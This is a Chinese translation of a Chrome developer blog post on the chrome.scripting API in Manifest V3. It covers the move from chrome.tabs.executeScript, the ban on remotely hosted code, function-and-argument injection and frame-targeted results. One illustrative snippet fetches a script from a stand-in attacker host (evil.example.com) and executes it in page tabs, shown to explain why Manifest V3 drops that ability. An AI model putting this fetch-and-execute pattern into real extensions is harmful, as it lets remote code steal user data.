chrome.scripting 简介

Simeon Vincent
Simeon Vincent

Manifest V3 对 Chrome 扩展程序平台进行了多项更改。在本博文中,我们将探讨一项更显著的变化(即 chrome.scripting API 的推出)带来的动机和变化。

什么是 chrome.scripting?

顾名思义,chrome.scripting 是 Manifest V3 中引入的新命名空间,负责脚本和样式注入功能。

过去创建过 Chrome 扩展程序的开发者可能熟悉 Tabs API 中的 Manifest V2 方法,例如 chrome.tabs.executeScriptchrome.tabs.insertCSS。这些方法允许扩展程序分别将脚本和样式表注入到网页中。在 Manifest V3 中,这些功能已移至 chrome.scripting,我们计划将来通过一些新功能扩展此 API。

为什么要创建新 API?

面对这样的变化,人们往往会想到第一个问题,即“为什么?”

由于若干不同的因素,Chrome 团队决定引入一个新的脚本命名空间。 首先,Tabs API 有点像是功能的垃圾抽屉式导航栏。其次,我们需要对现有的 executeScript API 进行破坏性更改。第三,我们知道想要为扩展程序扩展脚本编写功能。这些担忧共同明确定义了,需要新的命名空间来容纳脚本功能。

垃圾抽屉

过去几年来,chrome.tabs API 过载,这一问题一直困扰着 Extensions 团队。此 API 最初引入时,它提供的大多数功能都与浏览器标签页的广义概念相关。然而,在那时,仍然是一大堆功能,而这些年来,这个集合还在不断增加。

在 Manifest V3 发布时,Tabs API 已能够涵盖基本标签页管理、选择管理、窗口组织、消息、缩放控制、基本导航、脚本编写以及其他一些较小的功能。虽然这些都很重要,但对于开发者刚刚起步以及 Chrome 团队来说,可能会有些不堪重负,因为我们负责维护平台和考虑来自开发者社区的请求。

另一个使人变得复杂的因素是 tabs 权限不够了解。虽然许多其他权限会限制对给定 API(例如 storage)的访问,但此权限有点不寻常,因为它仅授予扩展程序对标签页实例上的敏感属性的访问权限(进而影响 Windows API)。可以理解,许多扩展程序开发者错误地认为他们需要此权限才能访问 Tabs API 上的方法,如 chrome.tabs.create 或更确切的 chrome.tabs.executeScript。将功能移出 Tabs API 有助于消除一些混淆。

重大变更

在设计 Manifest V3 时,我们想要解决的主要问题之一是,“远程托管的代码”会滥用和启用恶意软件;“远程托管的代码”是指可以执行但并未包含在扩展程序软件包中的代码。有滥用行为的扩展程序作者往往会执行从远程服务器提取的脚本,以窃取用户数据、注入恶意软件和逃避检测。虽然优秀的演员也会使用这种能力,但我们最终认为保持这种状态实在太危险了。

扩展程序可以通过几种不同的方式执行未捆绑代码,但此处介绍的是 Manifest V2 chrome.tabs.executeScript 方法。通过此方法,扩展程序可以在目标标签页中执行任意代码字符串。而这意味着恶意开发者可以从远程服务器提取任意脚本,并在扩展程序可以访问的任何页面中执行该脚本。我们知道,如果要解决远程代码问题,就必须放弃此功能。

(async function() {
  let result = await fetch('https://evil.example.com/malware.js');
  let script = await result.text();

  chrome.tabs.executeScript({
    code: script,
  });
})();

我们还希望解决 Manifest V2 版本设计的一些其他更细微的问题,使该 API 成为更完善、更可预测的工具。

虽然我们可以在 Tabs API 中更改此方法的签名,但我们认为,在这些破坏性更改和推出新功能(下一部分将详述)之间,清理掉对每个人来说会更容易。

扩展脚本功能

Manifest V3 设计流程的另一个考虑因素是,希望为 Chrome 的扩展程序平台引入其他脚本功能。具体来说,我们希望添加对动态内容脚本的支持,并扩展 executeScript 方法的功能。

动态内容脚本支持一直是 Chromium 中的一项功能需求。目前,Manifest V2 和 V3 版 Chrome 扩展程序只能在其 manifest.json 文件中静态声明内容脚本;平台不提供在运行时注册新内容脚本、调整内容脚本注册或取消注册内容脚本的方法。

虽然我们知道我们想在 Manifest V3 中处理这一功能请求,但我们现有的所有 API 都不适合它。我们还考虑过在 Content Scripts API 上与 Firefox 保持一致,但很早我们就发现,这种方法存在几个主要缺点。首先,我们知道会出现不兼容的签名(例如,不再支持 code 属性)。其次,我们的 API 具有一组不同的设计限制(例如,需要注册才能在 Service Worker 的生命周期之外继续存在)。最后,此命名空间还会将我们提供给内容脚本功能,即我们正在考虑在扩展程序中更广泛地运用脚本的功能。

executeScript 方面,我们还希望除了 Tabs API 版本支持的功能之外,此 API 的用途还不止于此。更具体地说,我们希望支持函数和参数,更轻松地定位特定框架,以及定位非“标签页”上下文。

今后,我们还会考虑扩展程序如何与已安装的 PWA 和其他在概念上未映射到“标签页”的上下文交互。

Tabs.executeScript 和 scripting.executeScript 之间的更改

在这篇博文的其余部分中,我将深入探讨 chrome.tabs.executeScriptchrome.scripting.executeScript 之间的异同。

注入带实参的函数

考虑到远程托管代码限制将平台如何改进,我们希望在任意代码执行的原始功能与仅允许静态内容脚本之间取得平衡。我们实施的解决方案是允许扩展程序将一个函数作为内容脚本注入,并将一组值作为实参传递。

我们快速看一下(过于简化的)示例。假设我们想要注入一个脚本,在用户点击扩展程序的操作按钮(工具栏中的图标)时,通过名称问候用户。在 Manifest V2 中,我们可以动态地构建一个代码字符串,并在当前网页中执行该脚本。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/greet-user.js');
  let userScript = await userReq.text();

  chrome.tabs.executeScript({
    // userScript == 'alert("Hello, <GIVEN_NAME>!")'
    code: userScript,
  });
});

虽然 Manifest V3 扩展程序无法使用未与该扩展程序捆绑的代码,但我们的目标是保持为 Manifest V2 扩展程序启用任意代码块的部分动态特性。借助函数和参数方法,Chrome 应用商店审核者、用户和其他相关方可以更准确地评估扩展程序带来的风险,同时允许开发者根据用户设置或应用状态修改扩展程序的运行时行为。

// Manifest V3 extension
function greetUser(name) {
  alert(`Hello, ${name}!`);
}
chrome.action.onClicked.addListener(async (tab) => {
  let userReq = await fetch('https://example.com/user-data.json');
  let user = await userReq.json();
  let givenName = user.givenName || '<GIVEN_NAME>';

  chrome.scripting.executeScript({
    target: {tabId: tab.id},
    func: greetUser,
    args: [givenName],
  });
});

定位框架

我们还希望改进开发者在修订后的 API 中与框架交互的方式。Manifest V2 版本的 executeScript 允许开发者定位标签页中的所有帧或标签页中的特定帧。您可以使用 chrome.webNavigation.getAllFrames 获取标签页中所有帧的列表。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.webNavigation.getAllFrames({tabId: tab.id}, (frames) => {
    let frame1 = frames[0].frameId;
    let frame2 = frames[1].frameId;

    chrome.tabs.executeScript(tab.id, {
      frameId: frame1,
      file: 'content-script.js',
    });
    chrome.tabs.executeScript(tab.id, {
      frameId: frame2,
      file: 'content-script.js',
    });
  });
});

在 Manifest V3 中,我们已将 options 对象中的可选 frameId 整数属性替换为可选的整数 frameIds 数组;这样一来,开发者就可以在单个 API 调用中定位多个帧。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let frames = await chrome.webNavigation.getAllFrames({tabId: tab.id});
  let frame1 = frames[0].frameId;
  let frame2 = frames[1].frameId;

  chrome.scripting.executeScript({
    target: {
      tabId: tab.id,
      frameIds: [frame1, frame2],
    },
    files: ['content-script.js'],
  });
});

脚本注入结果

我们还改进了 Manifest V3 中返回脚本注入结果的方式。从根本上来讲,“结果”是在脚本中评估的最终语句。您可以将其视为在 Chrome 开发者工具控制台中调用 eval() 或执行代码块时返回的值,但会对其进行序列化以跨进程传递结果。

在 Manifest V2 中,executeScriptinsertCSS 会返回一个由普通执行结果组成的数组。如果您只有一个注入点,这没什么问题,但在注入多个帧时无法保证结果顺序,因此无法确定哪个结果与哪个帧相关联。

我们来看一个具体示例,来看看 Manifest V2 和同一扩展程序的 Manifest V3 版本所返回的 results 数组。两个版本的扩展程序将注入相同的内容脚本,我们将在同一演示页面上比较结果。

// content-script.js
var headers = document.querySelectorAll('p');
headers.length;

运行 Manifest V2 版本时,我们会获得 [1, 0, 5] 数组。哪个结果对应于主框架,哪个结果对应于 iframe?返回值无法告诉我们,因此我们不确定这一点。

// Manifest V2 extension
chrome.browserAction.onClicked.addListener((tab) => {
  chrome.tabs.executeScript({
    allFrames: true,
    file: 'content-script.js',
  }, (results) => {
    // results == [1, 0, 5]
    for (let result of results) {
      if (result > 0) {
        // Do something with the frame... which one was it?
      }
    }
  });
});

在 Manifest V3 版本中,results 现在包含一组结果对象,而不是仅包含评估结果的数组,并且结果对象会明确标识每个结果的帧的 ID。这样,开发者就可以更轻松地利用结果并针对特定帧执行操作。

// Manifest V3 extension
chrome.action.onClicked.addListener(async (tab) => {
  let results = await chrome.scripting.executeScript({
    target: {tabId: tab.id, allFrames: true},
    files: ['content-script.js'],
  });
  // results == [
  //   {frameId: 0, result: 1},
  //   {frameId: 1235, result: 5},
  //   {frameId: 1234, result: 0}
  // ]

  for (let result of results) {
    if (result.result > 0) {
      console.log(`Found ${result} p tag(s) in frame ${result.frameId}`);
      // Found 1 p tag(s) in frame 0
      // Found 5 p tag(s) in frame 1235
    }
  }
});

小结

清单版本递增提供了一个难得的机会,使用户可以重新考虑扩展程序 API 并对其进行现代化改造。我们使用 Manifest V3 的目的是在提升开发者体验的同时,提高扩展程序的安全性,从而改善最终用户体验。通过在 Manifest V3 中引入 chrome.scripting,我们得以帮助清理 Tabs API、重新构想 executeScript 以打造更安全的扩展程序平台,并为今年晚些时候即将推出的新脚本编写功能奠定基础。